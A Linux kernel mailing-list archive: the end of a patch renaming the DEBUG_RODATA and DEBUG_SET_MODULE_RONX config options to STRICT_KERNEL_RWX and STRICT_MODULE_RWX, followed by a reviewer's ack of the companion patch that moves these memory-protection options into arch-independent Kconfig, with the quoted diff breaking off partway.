@@ -787,7 +787,7 @@ config ARCH_NO_STRICT_RWX_DEFAULTS
 config ARCH_HAS_STRICT_KERNEL_RWX
 	def_bool n
 
-config DEBUG_RODATA
+config STRICT_KERNEL_RWX
 	def_bool y if !ARCH_NO_STRICT_RWX_DEFAULTS
 	prompt "Make kernel text and rodata read-only" if ARCH_NO_STRICT_RWX_DEFAULTS
 	depends on ARCH_HAS_STRICT_KERNEL_RWX
@@ -800,7 +800,7 @@ config DEBUG_RODATA
 config ARCH_HAS_STRICT_MODULE_RWX
 	def_bool n
 
-config DEBUG_SET_MODULE_RONX
+config STRICT_MODULE_RWX
 	def_bool y if !ARCH_NO_STRICT_RWX_DEFAULTS
 	prompt "Set loadable kenrel module data as NX and text as RO" if ARCH_NO_STRICT_RWX_DEFAULTS
 	depends on ARCH_HAS_STRICT_MODULE_RWX && MODULES
diff --git a/arch/arm/configs/aspeed_g4_defconfig b/arch/arm/configs/aspeed_g4_defconfig
index ca39c04..beea2cc 100644
--- a/arch/arm/configs/aspeed_g4_defconfig
+++ b/arch/arm/configs/aspeed_g4_defconfig
@@ -25,7 +25,6 @@ CONFIG_MODULE_UNLOAD=y
 # CONFIG_ARCH_MULTI_V7 is not set
 CONFIG_ARCH_ASPEED=y
 CONFIG_MACH_ASPEED_G4=y
-CONFIG_DEBUG_RODATA=y
 CONFIG_AEABI=y
 CONFIG_UACCESS_WITH_MEMCPY=y
 CONFIG_SECCOMP=y
@@ -79,7 +78,7 @@ CONFIG_DEBUG_LL_UART_8250=y
 CONFIG_DEBUG_UART_PHYS=0x1e784000
 CONFIG_DEBUG_UART_VIRT=0xe8784000
 CONFIG_EARLY_PRINTK=y
-CONFIG_DEBUG_SET_MODULE_RONX=y
+CONFIG_STRICT_MODULE_RWX=y
 # CONFIG_XZ_DEC_X86 is not set
 # CONFIG_XZ_DEC_POWERPC is not set
 # CONFIG_XZ_DEC_IA64 is not set
diff --git a/arch/arm/configs/aspeed_g5_defconfig b/arch/arm/configs/aspeed_g5_defconfig
index 4f366b0..0e245e5 100644
--- a/arch/arm/configs/aspeed_g5_defconfig
+++ b/arch/arm/configs/aspeed_g5_defconfig
@@ -26,7 +26,6 @@ CONFIG_ARCH_MULTI_V6=y
 # CONFIG_ARCH_MULTI_V7 is not set
 CONFIG_ARCH_ASPEED=y
 CONFIG_MACH_ASPEED_G5=y
-CONFIG_DEBUG_RODATA=y
 CONFIG_AEABI=y
 CONFIG_UACCESS_WITH_MEMCPY=y
 CONFIG_SECCOMP=y
@@ -81,7 +80,7 @@ CONFIG_DEBUG_LL_UART_8250=y
 CONFIG_DEBUG_UART_PHYS=0x1e784000
 CONFIG_DEBUG_UART_VIRT=0xe8784000
 CONFIG_EARLY_PRINTK=y
-CONFIG_DEBUG_SET_MODULE_RONX=y
+CONFIG_STRICT_MODULE_RWX=y
 # CONFIG_XZ_DEC_X86 is not set
 # CONFIG_XZ_DEC_POWERPC is not set
 # CONFIG_XZ_DEC_IA64 is not set
diff --git a/arch/arm/include/asm/cacheflush.h b/arch/arm/include/asm/cacheflush.h
index bdd283b..02454fa 100644
--- a/arch/arm/include/asm/cacheflush.h
+++ b/arch/arm/include/asm/cacheflush.h
@@ -490,7 +490,7 @@ static inline int set_memory_x(unsigned long addr, int numpages) { return 0; }
 static inline int set_memory_nx(unsigned long addr, int numpages) { return 0; }
 #endif
 
-#ifdef CONFIG_DEBUG_RODATA
+#ifdef CONFIG_STRICT_KERNEL_RWX
 void set_kernel_text_rw(void);
 void set_kernel_text_ro(void);
 #else
diff --git a/arch/arm/kernel/patch.c b/arch/arm/kernel/patch.c
index 69bda1a..020560b 100644
--- a/arch/arm/kernel/patch.c
+++ b/arch/arm/kernel/patch.c
@@ -24,9 +24,9 @@ static void __kprobes *patch_map(void *addr, int fixmap, unsigned long *flags)
 	bool module = !core_kernel_text(uintaddr);
 	struct page *page;
 
-	if (module && IS_ENABLED(CONFIG_DEBUG_SET_MODULE_RONX))
+	if (module && IS_ENABLED(CONFIG_STRICT_MODULE_RWX))
 		page = vmalloc_to_page(addr);
-	else if (!module && IS_ENABLED(CONFIG_DEBUG_RODATA))
+	else if (!module && IS_ENABLED(CONFIG_STRICT_KERNEL_RWX))
 		page = virt_to_page(addr);
 	else
 		return addr;
diff --git a/arch/arm/kernel/vmlinux.lds.S b/arch/arm/kernel/vmlinux.lds.S
index f7f55df..ce18007 100644
--- a/arch/arm/kernel/vmlinux.lds.S
+++ b/arch/arm/kernel/vmlinux.lds.S
@@ -97,7 +97,7 @@ SECTIONS
 		HEAD_TEXT
 	}
 
-#ifdef CONFIG_DEBUG_RODATA
+#ifdef CONFIG_STRICT_KERNEL_RWX
 	. = ALIGN(1<<SECTION_SHIFT);
 #endif
 
@@ -158,7 +158,7 @@ SECTIONS
 
 	NOTES
 
-#ifdef CONFIG_DEBUG_RODATA
+#ifdef CONFIG_STRICT_KERNEL_RWX
 	. = ALIGN(1<<SECTION_SHIFT);
 #else
 	. = ALIGN(PAGE_SIZE);
@@ -230,7 +230,7 @@ SECTIONS
 	PERCPU_SECTION(L1_CACHE_BYTES)
 #endif
 
-#ifdef CONFIG_DEBUG_RODATA
+#ifdef CONFIG_STRICT_KERNEL_RWX
 	. = ALIGN(1<<SECTION_SHIFT);
 #else
 	. = ALIGN(THREAD_SIZE);
@@ -325,7 +325,7 @@ SECTIONS
 	STABS_DEBUG
 }
 
-#ifdef CONFIG_DEBUG_RODATA
+#ifdef CONFIG_STRICT_KERNEL_RWX
 /*
  * Without CONFIG_DEBUG_ALIGN_RODATA, __start_rodata_section_aligned will
  * be the first section-aligned location after __start_rodata. Otherwise,
diff --git a/arch/arm/mm/Kconfig b/arch/arm/mm/Kconfig
index 419a035..35e3a56 100644
--- a/arch/arm/mm/Kconfig
+++ b/arch/arm/mm/Kconfig
@@ -1053,7 +1053,7 @@ config ARCH_SUPPORTS_BIG_ENDIAN
 
 config DEBUG_ALIGN_RODATA
 	bool "Make rodata strictly non-executable"
-	depends on DEBUG_RODATA
+	depends on STRICT_KERNEL_RWX
 	default y
 	help
 	  If this is set, rodata will be made explicitly non-executable. This
diff --git a/arch/arm/mm/init.c b/arch/arm/mm/init.c
index 370581a..4be0bee 100644
--- a/arch/arm/mm/init.c
+++ b/arch/arm/mm/init.c
@@ -572,7 +572,7 @@ void __init mem_init(void)
 	}
 }
 
-#ifdef CONFIG_DEBUG_RODATA
+#ifdef CONFIG_STRICT_KERNEL_RWX
 struct section_perm {
 	const char *name;
 	unsigned long start;
@@ -741,7 +741,7 @@ void set_kernel_text_ro(void)
 
 #else
 static inline void fix_kernmem_perms(void) { }
-#endif /* CONFIG_DEBUG_RODATA */
+#endif /* CONFIG_STRICT_KERNEL_RWX */
 
 void free_tcmmem(void)
 {
diff --git a/arch/arm64/Kconfig.debug b/arch/arm64/Kconfig.debug
index 939815e..560a8d8 100644
--- a/arch/arm64/Kconfig.debug
+++ b/arch/arm64/Kconfig.debug
@@ -72,7 +72,7 @@ config DEBUG_WX
 	  If in doubt, say "Y".
 
 config DEBUG_ALIGN_RODATA
-	depends on DEBUG_RODATA
+	depends on STRICT_KERNEL_RWX
 	bool "Align linker sections up to SECTION_SIZE"
 	help
 	  If this option is enabled, sections that may potentially be marked as
diff --git a/arch/arm64/kernel/insn.c b/arch/arm64/kernel/insn.c
index 94b62c1..67f9cb9 100644
--- a/arch/arm64/kernel/insn.c
+++ b/arch/arm64/kernel/insn.c
@@ -93,7 +93,7 @@ static void __kprobes *patch_map(void *addr, int fixmap)
 	bool module = !core_kernel_text(uintaddr);
 	struct page *page;
 
-	if (module && IS_ENABLED(CONFIG_DEBUG_SET_MODULE_RONX))
+	if (module && IS_ENABLED(CONFIG_STRICT_MODULE_RWX))
 		page = vmalloc_to_page(addr);
 	else if (!module)
 		page = pfn_to_page(PHYS_PFN(__pa(addr)));
diff --git a/arch/parisc/configs/712_defconfig b/arch/parisc/configs/712_defconfig
index db8f56b..143d026 100644
--- a/arch/parisc/configs/712_defconfig
+++ b/arch/parisc/configs/712_defconfig
@@ -182,7 +182,6 @@ CONFIG_DEBUG_FS=y
 CONFIG_DEBUG_KERNEL=y
 CONFIG_DEBUG_MUTEXES=y
 # CONFIG_RCU_CPU_STALL_DETECTOR is not set
-CONFIG_DEBUG_RODATA=y
 CONFIG_CRYPTO_NULL=m
 CONFIG_CRYPTO_TEST=m
 CONFIG_CRYPTO_HMAC=y
diff --git a/arch/parisc/configs/c3000_defconfig b/arch/parisc/configs/c3000_defconfig
index fb92b89..8e8f0e3 100644
--- a/arch/parisc/configs/c3000_defconfig
+++ b/arch/parisc/configs/c3000_defconfig
@@ -166,7 +166,6 @@ CONFIG_DEBUG_KERNEL=y
 CONFIG_DEBUG_MUTEXES=y
 # CONFIG_DEBUG_BUGVERBOSE is not set
 # CONFIG_RCU_CPU_STALL_DETECTOR is not set
-CONFIG_DEBUG_RODATA=y
 CONFIG_CRYPTO_NULL=m
 CONFIG_CRYPTO_TEST=m
 CONFIG_CRYPTO_MD5=m
diff --git a/arch/parisc/mm/init.c b/arch/parisc/mm/init.c
index e02ada3..a055e5b 100644
--- a/arch/parisc/mm/init.c
+++ b/arch/parisc/mm/init.c
@@ -545,7 +545,7 @@ void free_initmem(void)
 }
 
 
-#ifdef CONFIG_DEBUG_RODATA
+#ifdef CONFIG_STRICT_KERNEL_RWX
 void mark_rodata_ro(void)
 {
 	/* rodata memory was already mapped with KERNEL_RO access rights by
diff --git a/include/linux/filter.h b/include/linux/filter.h
index e4eb254..c2d2827 100644
--- a/include/linux/filter.h
+++ b/include/linux/filter.h
@@ -545,7 +545,7 @@ static inline bool bpf_prog_was_classic(const struct bpf_prog *prog)
 
 #define bpf_classic_proglen(fprog) (fprog->len * sizeof(fprog->filter[0]))
 
-#ifdef CONFIG_DEBUG_SET_MODULE_RONX
+#ifdef CONFIG_STRICT_MODULE_RWX
 static inline void bpf_prog_lock_ro(struct bpf_prog *fp)
 {
 	set_memory_ro((unsigned long)fp, fp->pages);
@@ -563,7 +563,7 @@ static inline void bpf_prog_lock_ro(struct bpf_prog *fp)
 static inline void bpf_prog_unlock_ro(struct bpf_prog *fp)
 {
 }
-#endif /* CONFIG_DEBUG_SET_MODULE_RONX */
+#endif /* CONFIG_STRICT_MODULE_RWX */
 
 int sk_filter_trim_cap(struct sock *sk, struct sk_buff *skb, unsigned int cap);
 static inline int sk_filter(struct sock *sk, struct sk_buff *skb)
diff --git a/include/linux/init.h b/include/linux/init.h
index 885c3e6..79af096 100644
--- a/include/linux/init.h
+++ b/include/linux/init.h
@@ -126,10 +126,10 @@ void prepare_namespace(void);
 void __init load_default_modules(void);
 int __init init_rootfs(void);
 
-#if defined(CONFIG_DEBUG_RODATA) || defined(CONFIG_DEBUG_SET_MODULE_RONX)
+#if defined(CONFIG_STRICT_KERNEL_RWX) || defined(CONFIG_STRICT_MODULE_RWX)
 extern bool rodata_enabled;
 #endif
-#ifdef CONFIG_DEBUG_RODATA
+#ifdef CONFIG_STRICT_KERNEL_RWX
 void mark_rodata_ro(void);
 #endif
 
diff --git a/include/linux/module.h b/include/linux/module.h
index 7c84273..d5afd14 100644
--- a/include/linux/module.h
+++ b/include/linux/module.h
@@ -764,7 +764,7 @@ extern int module_sysfs_initialized;
 
 #define __MODULE_STRING(x) __stringify(x)
 
-#ifdef CONFIG_DEBUG_SET_MODULE_RONX
+#ifdef CONFIG_STRICT_MODULE_RWX
 extern void set_all_modules_text_rw(void);
 extern void set_all_modules_text_ro(void);
 extern void module_enable_ro(const struct module *mod, bool after_init);
diff --git a/init/main.c b/init/main.c
index b0c9d6f..0b7bae2 100644
--- a/init/main.c
+++ b/init/main.c
@@ -925,7 +925,7 @@ static int try_to_run_init_process(const char *init_filename)
 
 static noinline void __init kernel_init_freeable(void);
 
-#if defined(CONFIG_DEBUG_RODATA) || defined(CONFIG_DEBUG_SET_MODULE_RONX)
+#if defined(CONFIG_STRICT_KERNEL_RWX) || defined(CONFIG_STRICT_MODULE_RWX)
 bool rodata_enabled __ro_after_init = true;
 static int __init set_debug_rodata(char *str)
 {
@@ -934,7 +934,7 @@ static int __init set_debug_rodata(char *str)
 __setup("rodata=", set_debug_rodata);
 #endif
 
-#ifdef CONFIG_DEBUG_RODATA
+#ifdef CONFIG_STRICT_KERNEL_RWX
 static void mark_readonly(void)
 {
 	if (rodata_enabled)
diff --git a/kernel/configs/android-recommended.config b/kernel/configs/android-recommended.config
index 297756b..99127ed 100644
--- a/kernel/configs/android-recommended.config
+++ b/kernel/configs/android-recommended.config
@@ -11,7 +11,7 @@ CONFIG_BLK_DEV_LOOP=y
 CONFIG_BLK_DEV_RAM=y
 CONFIG_BLK_DEV_RAM_SIZE=8192
 CONFIG_COMPACTION=y
-CONFIG_DEBUG_RODATA=y
+CONFIG_STRICT_KERNEL_RWX=y
 CONFIG_DM_CRYPT=y
 CONFIG_DM_UEVENT=y
 CONFIG_DM_VERITY=y
diff --git a/kernel/module.c b/kernel/module.c
index 38d4270..2643a14 100644
--- a/kernel/module.c
+++ b/kernel/module.c
@@ -74,9 +74,9 @@
 /*
  * Modules' sections will be aligned on page boundaries
  * to ensure complete separation of code and data, but
- * only when CONFIG_DEBUG_SET_MODULE_RONX=y
+ * only when CONFIG_STRICT_MODULE_RWX=y
  */
-#ifdef CONFIG_DEBUG_SET_MODULE_RONX
+#ifdef CONFIG_STRICT_MODULE_RWX
 # define debug_align(X) ALIGN(X, PAGE_SIZE)
 #else
 # define debug_align(X) (X)
@@ -1847,7 +1847,7 @@ static void mod_sysfs_teardown(struct module *mod)
 	mod_sysfs_fini(mod);
 }
 
-#ifdef CONFIG_DEBUG_SET_MODULE_RONX
+#ifdef CONFIG_STRICT_MODULE_RWX
 /*
  * LKM RO/NX protection: protect module's text/ro-data
  * from modification and any data from execution.
diff --git a/kernel/power/hibernate.c b/kernel/power/hibernate.c
index b26dbc4..86385af 100644
--- a/kernel/power/hibernate.c
+++ b/kernel/power/hibernate.c
@@ -1156,7 +1156,7 @@ static int __init hibernate_setup(char *str)
 	} else if (!strncmp(str, "no", 2)) {
 		noresume = 1;
 		nohibernate = 1;
-	} else if (IS_ENABLED(CONFIG_DEBUG_RODATA)
+	} else if (IS_ENABLED(CONFIG_STRICT_KERNEL_RWX)
 		   && !strncmp(str, "protect_image", 13)) {
 		enable_restore_image_protection();
 	}
diff --git a/kernel/power/power.h b/kernel/power/power.h
index 1dfa0da..7fdc40d 100644
--- a/kernel/power/power.h
+++ b/kernel/power/power.h
@@ -61,12 +61,12 @@ extern int hibernation_snapshot(int platform_mode);
 extern int hibernation_restore(int platform_mode);
 extern int hibernation_platform_enter(void);
 
-#ifdef CONFIG_DEBUG_RODATA
+#ifdef CONFIG_STRICT_KERNEL_RWX
 /* kernel/power/snapshot.c */
 extern void enable_restore_image_protection(void);
 #else
 static inline void enable_restore_image_protection(void) {}
-#endif /* CONFIG_DEBUG_RODATA */
+#endif /* CONFIG_STRICT_KERNEL_RWX */
 
 #else /* !CONFIG_HIBERNATION */
 
diff --git a/kernel/power/snapshot.c b/kernel/power/snapshot.c
index 2d8e2b2..905d5bb 100644
--- a/kernel/power/snapshot.c
+++ b/kernel/power/snapshot.c
@@ -38,7 +38,7 @@
 
 #include "power.h"
 
-#ifdef CONFIG_DEBUG_RODATA
+#ifdef CONFIG_STRICT_KERNEL_RWX
 static bool hibernate_restore_protection;
 static bool hibernate_restore_protection_active;
 
@@ -73,7 +73,7 @@ static inline void hibernate_restore_protection_begin(void) {}
 static inline void hibernate_restore_protection_end(void) {}
 static inline void hibernate_restore_protect_page(void *page_address) {}
 static inline void hibernate_restore_unprotect_page(void *page_address) {}
-#endif /* CONFIG_DEBUG_RODATA */
+#endif /* CONFIG_STRICT_KERNEL_RWX */
 
 static int swsusp_page_is_free(struct page *);
 static void swsusp_set_page_forbidden(struct page *);
-- 
2.7.4



From - Thu Nov 08 21:39:36 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Mark Rutland <mark.rutland@arm.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.documentation,gmane.linux.kernel,gmane.linux.ports.arm.kernel,gmane.linux.power-management.general,gmane.linux.kernel.hardened.devel
Subject: Re: [PATCHv2 1/2] arch: Move CONFIG_DEBUG_RODATA and
 CONFIG_SET_MODULE_RONX to be common
Date: Fri, 3 Feb 2017 18:16:07 +0000
Lines: 297
Approved: news@gmane.org
Message-ID: <20170203181607.GA26578@leverpostej>
References: <1486144343-24998-1-git-send-email-labbott@redhat.com>
 <1486144343-24998-2-git-send-email-labbott@redhat.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1486145851 11995 195.159.176.226 (3 Feb 2017 18:17:31 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 3 Feb 2017 18:17:31 +0000 (UTC)
User-Agent: Mutt/1.5.21 (2010-09-15)
Cc: Kees Cook <keescook@chromium.org>,
        Jason Wessel <jason.wessel@windriver.com>,
        Jonathan Corbet <corbet@lwn.net>,
        Russell King <linux@armlinux.org.uk>,
        Catalin Marinas <catalin.marinas@arm.com>,
        Will Deacon <will.deacon@arm.com>,
        "James E.J. Bottomley" <jejb@parisc-linux.org>,
        Helge Deller <deller@gmx.de>,
        Martin Schwidefsky <schwidefsky@de.ibm.com>,
        Heiko Carstens <heiko.carstens@de.ibm.com>,
        Thomas Gleixner <tglx@linutronix.de>,
        Ingo Molnar <mingo@redhat.com>,
        "H. Peter Anvin" <hpa@zytor.com>, x86@kernel.org,
        Rob Herring <robh@kernel.org>,
        "Rafael J. Wysocki" <rjw@rjwysocki.net>,
        Len Brown <len.brown@intel.com>, Pavel Machek <pavel@ucw.cz>,
        Jessica Yu <jeyu@redhat.com>, linux-doc@vger.kernel.org,
        linux-kernel@vger.kernel.org, linux-arm-kernel@lists.i
To: Laura Abbott <labbott@redhat.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Feb 03 19:17:24 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1cZiQF-0000iC-L2
	for glpp-linux-parisc@m.gmane.org; Fri, 03 Feb 2017 19:17:24 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751181AbdBCSR3 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Fri, 3 Feb 2017 13:17:29 -0500
Original-Received: from foss.arm.com ([217.140.101.70]:57102 "EHLO foss.arm.com"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1750881AbdBCSR1 (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
        Fri, 3 Feb 2017 13:17:27 -0500
Original-Received: from usa-sjc-imap-foss1.foss.arm.com (unknown [10.72.51.249])
        by usa-sjc-mx-foss1.foss.arm.com (Postfix) with ESMTP id 601EEAD7;
        Fri,  3 Feb 2017 10:17:18 -0800 (PST)
Original-Received: from leverpostej (usa-sjc-imap-foss1.foss.arm.com [10.72.51.249])
        by usa-sjc-imap-foss1.foss.arm.com (Postfix) with ESMTPSA id 318D13F477;
        Fri,  3 Feb 2017 10:17:14 -0800 (PST)
Content-Disposition: inline
In-Reply-To: <1486144343-24998-2-git-send-email-labbott@redhat.com>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27251 gmane.linux.documentation:44712 gmane.linux.kernel:2403029 gmane.linux.ports.arm.kernel:556848 gmane.linux.power-management.general:86135 gmane.linux.kernel.hardened.devel:5433
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27251>

On Fri, Feb 03, 2017 at 09:52:21AM -0800, Laura Abbott wrote:
> There are multiple architectures that support CONFIG_DEBUG_RODATA and
> CONFIG_SET_MODULE_RONX. These options also now have the ability to be
> turned off at runtime. Move these to an architecture independent
> location and make these options def_bool y for almost all of those
> arches.
> 
> Signed-off-by: Laura Abbott <labbott@redhat.com>

>From my POV this looks good. FWIW:

Acked-by: Mark Rutland <mark.rutland@arm.com>

Mark.

> ---
> v2: This patch is now doing just the refactor of the existing config options.
> ---
>  arch/Kconfig              | 28 ++++++++++++++++++++++++++++
>  arch/arm/Kconfig          |  3 +++
>  arch/arm/Kconfig.debug    | 11 -----------
>  arch/arm/mm/Kconfig       | 12 ------------
>  arch/arm64/Kconfig        |  5 ++---
>  arch/arm64/Kconfig.debug  | 11 -----------
>  arch/parisc/Kconfig       |  1 +
>  arch/parisc/Kconfig.debug | 11 -----------
>  arch/s390/Kconfig         |  5 ++---
>  arch/s390/Kconfig.debug   |  3 ---
>  arch/x86/Kconfig          |  5 ++---
>  arch/x86/Kconfig.debug    | 11 -----------
>  12 files changed, 38 insertions(+), 68 deletions(-)
> 
> diff --git a/arch/Kconfig b/arch/Kconfig
> index 99839c2..22ee01e 100644
> --- a/arch/Kconfig
> +++ b/arch/Kconfig
> @@ -781,4 +781,32 @@ config VMAP_STACK
>  	  the stack to map directly to the KASAN shadow map using a formula
>  	  that is incorrect if the stack is in vmalloc space.
>  
> +config ARCH_NO_STRICT_RWX_DEFAULTS
> +	def_bool n
> +
> +config ARCH_HAS_STRICT_KERNEL_RWX
> +	def_bool n
> +
> +config DEBUG_RODATA
> +	def_bool y if !ARCH_NO_STRICT_RWX_DEFAULTS
> +	prompt "Make kernel text and rodata read-only" if ARCH_NO_STRICT_RWX_DEFAULTS
> +	depends on ARCH_HAS_STRICT_KERNEL_RWX
> +	help
> +	  If this is set, kernel text and rodata memory will be made read-only,
> +	  and non-text memory will be made non-executable. This provides
> +	  protection against certain security exploits (e.g. executing the heap
> +	  or modifying text)
> +
> +config ARCH_HAS_STRICT_MODULE_RWX
> +	def_bool n
> +
> +config DEBUG_SET_MODULE_RONX
> +	def_bool y if !ARCH_NO_STRICT_RWX_DEFAULTS
> +	prompt "Set loadable kenrel module data as NX and text as RO" if ARCH_NO_STRICT_RWX_DEFAULTS
> +	depends on ARCH_HAS_STRICT_MODULE_RWX && MODULES
> +	help
> +	  If this is set, module text and rodata memory will be made read-only,
> +	  and non-text memory will be made non-executable. This provides
> +	  protection against certain security exploits (e.g. writing to text)
> +
>  source "kernel/gcov/Kconfig"
> diff --git a/arch/arm/Kconfig b/arch/arm/Kconfig
> index 186c4c2..aa73ca8 100644
> --- a/arch/arm/Kconfig
> +++ b/arch/arm/Kconfig
> @@ -4,10 +4,13 @@ config ARM
>  	select ARCH_CLOCKSOURCE_DATA
>  	select ARCH_HAS_DEVMEM_IS_ALLOWED
>  	select ARCH_HAS_ELF_RANDOMIZE
> +	select ARCH_HAS_STRICT_KERNEL_RWX if MMU && !XIP_KERNEL
> +	select ARCH_HAS_STRICT_MODULE_RWX if MMU
>  	select ARCH_HAS_TICK_BROADCAST if GENERIC_CLOCKEVENTS_BROADCAST
>  	select ARCH_HAVE_CUSTOM_GPIO_H
>  	select ARCH_HAS_GCOV_PROFILE_ALL
>  	select ARCH_MIGHT_HAVE_PC_PARPORT
> +	select ARCH_NO_STRICT_RWX_DEFAULTS if !CPU_V7
>  	select ARCH_SUPPORTS_ATOMIC_RMW
>  	select ARCH_USE_BUILTIN_BSWAP
>  	select ARCH_USE_CMPXCHG_LOCKREF
> diff --git a/arch/arm/Kconfig.debug b/arch/arm/Kconfig.debug
> index d83f7c3..426d271 100644
> --- a/arch/arm/Kconfig.debug
> +++ b/arch/arm/Kconfig.debug
> @@ -1738,17 +1738,6 @@ config PID_IN_CONTEXTIDR
>  	  additional instructions during context switch. Say Y here only if you
>  	  are planning to use hardware trace tools with this kernel.
>  
> -config DEBUG_SET_MODULE_RONX
> -	bool "Set loadable kernel module data as NX and text as RO"
> -	depends on MODULES && MMU
> -	---help---
> -	  This option helps catch unintended modifications to loadable
> -	  kernel module's text and read-only data. It also prevents execution
> -	  of module data. Such protection may interfere with run-time code
> -	  patching and dynamic kernel tracing - and they might also protect
> -	  against certain classes of kernel exploits.
> -	  If in doubt, say "N".
> -
>  source "drivers/hwtracing/coresight/Kconfig"
>  
>  endmenu
> diff --git a/arch/arm/mm/Kconfig b/arch/arm/mm/Kconfig
> index f68e8ec..419a035 100644
> --- a/arch/arm/mm/Kconfig
> +++ b/arch/arm/mm/Kconfig
> @@ -1051,18 +1051,6 @@ config ARCH_SUPPORTS_BIG_ENDIAN
>  	  This option specifies the architecture can support big endian
>  	  operation.
>  
> -config DEBUG_RODATA
> -	bool "Make kernel text and rodata read-only"
> -	depends on MMU && !XIP_KERNEL
> -	default y if CPU_V7
> -	help
> -	  If this is set, kernel text and rodata memory will be made
> -	  read-only, and non-text kernel memory will be made non-executable.
> -	  The tradeoff is that each region is padded to section-size (1MiB)
> -	  boundaries (because their permissions are different and splitting
> -	  the 1M pages into 4K ones causes TLB performance problems), which
> -	  can waste memory.
> -
>  config DEBUG_ALIGN_RODATA
>  	bool "Make rodata strictly non-executable"
>  	depends on DEBUG_RODATA
> diff --git a/arch/arm64/Kconfig b/arch/arm64/Kconfig
> index 1117421..e1efbcc 100644
> --- a/arch/arm64/Kconfig
> +++ b/arch/arm64/Kconfig
> @@ -13,6 +13,8 @@ config ARM64
>  	select ARCH_HAS_GIGANTIC_PAGE
>  	select ARCH_HAS_KCOV
>  	select ARCH_HAS_SG_CHAIN
> +	select ARCH_HAS_STRICT_KERNEL_RWX
> +	select ARCH_HAS_STRICT_MODULE_RWX
>  	select ARCH_HAS_TICK_BROADCAST if GENERIC_CLOCKEVENTS_BROADCAST
>  	select ARCH_USE_CMPXCHG_LOCKREF
>  	select ARCH_SUPPORTS_ATOMIC_RMW
> @@ -123,9 +125,6 @@ config ARCH_PHYS_ADDR_T_64BIT
>  config MMU
>  	def_bool y
>  
> -config DEBUG_RODATA
> -	def_bool y
> -
>  config ARM64_PAGE_SHIFT
>  	int
>  	default 16 if ARM64_64K_PAGES
> diff --git a/arch/arm64/Kconfig.debug b/arch/arm64/Kconfig.debug
> index d1ebd46..939815e 100644
> --- a/arch/arm64/Kconfig.debug
> +++ b/arch/arm64/Kconfig.debug
> @@ -71,17 +71,6 @@ config DEBUG_WX
>  
>  	  If in doubt, say "Y".
>  
> -config DEBUG_SET_MODULE_RONX
> -	bool "Set loadable kernel module data as NX and text as RO"
> -	depends on MODULES
> -	default y
> -	help
> -	  Is this is set, kernel module text and rodata will be made read-only.
> -	  This is to help catch accidental or malicious attempts to change the
> -	  kernel's executable code.
> -
> -	  If in doubt, say Y.
> -
>  config DEBUG_ALIGN_RODATA
>  	depends on DEBUG_RODATA
>  	bool "Align linker sections up to SECTION_SIZE"
> diff --git a/arch/parisc/Kconfig b/arch/parisc/Kconfig
> index 3a71f38..ad294b3 100644
> --- a/arch/parisc/Kconfig
> +++ b/arch/parisc/Kconfig
> @@ -8,6 +8,7 @@ config PARISC
>  	select HAVE_SYSCALL_TRACEPOINTS
>  	select ARCH_WANT_FRAME_POINTERS
>  	select ARCH_HAS_ELF_RANDOMIZE
> +	select ARCH_HAS_STRICT_KERNEL_RWX
>  	select RTC_CLASS
>  	select RTC_DRV_GENERIC
>  	select INIT_ALL_POSSIBLE
> diff --git a/arch/parisc/Kconfig.debug b/arch/parisc/Kconfig.debug
> index 68b7cbd..0d856b9 100644
> --- a/arch/parisc/Kconfig.debug
> +++ b/arch/parisc/Kconfig.debug
> @@ -5,15 +5,4 @@ source "lib/Kconfig.debug"
>  config TRACE_IRQFLAGS_SUPPORT
>  	def_bool y
>  
> -config DEBUG_RODATA
> -       bool "Write protect kernel read-only data structures"
> -       depends on DEBUG_KERNEL
> -       default y
> -       help
> -         Mark the kernel read-only data as write-protected in the pagetables,
> -         in order to catch accidental (and incorrect) writes to such const
> -         data. This option may have a slight performance impact because a
> -         portion of the kernel code won't be covered by a TLB anymore.
> -         If in doubt, say "N".
> -
>  endmenu
> diff --git a/arch/s390/Kconfig b/arch/s390/Kconfig
> index c6722112..53bb0e3 100644
> --- a/arch/s390/Kconfig
> +++ b/arch/s390/Kconfig
> @@ -62,9 +62,6 @@ config PCI_QUIRKS
>  config ARCH_SUPPORTS_UPROBES
>  	def_bool y
>  
> -config DEBUG_RODATA
> -	def_bool y
> -
>  config S390
>  	def_bool y
>  	select ARCH_HAS_DEVMEM_IS_ALLOWED
> @@ -73,6 +70,8 @@ config S390
>  	select ARCH_HAS_GIGANTIC_PAGE
>  	select ARCH_HAS_KCOV
>  	select ARCH_HAS_SG_CHAIN
> +	select ARCH_HAS_STRICT_KERNEL_RWX
> +	select ARCH_HAS_STRICT_MODULE_RWX
>  	select ARCH_HAS_UBSAN_SANITIZE_ALL
>  	select ARCH_HAVE_NMI_SAFE_CMPXCHG
>  	select ARCH_INLINE_READ_LOCK
> diff --git a/arch/s390/Kconfig.debug b/arch/s390/Kconfig.debug
> index 26c5d5be..57f8ea9 100644
> --- a/arch/s390/Kconfig.debug
> +++ b/arch/s390/Kconfig.debug
> @@ -17,7 +17,4 @@ config S390_PTDUMP
>  	  kernel.
>  	  If in doubt, say "N"
>  
> -config DEBUG_SET_MODULE_RONX
> -	def_bool y
> -	depends on MODULES
>  endmenu
> diff --git a/arch/x86/Kconfig b/arch/x86/Kconfig
> index e487493..13e1bf4 100644
> --- a/arch/x86/Kconfig
> +++ b/arch/x86/Kconfig
> @@ -54,6 +54,8 @@ config X86
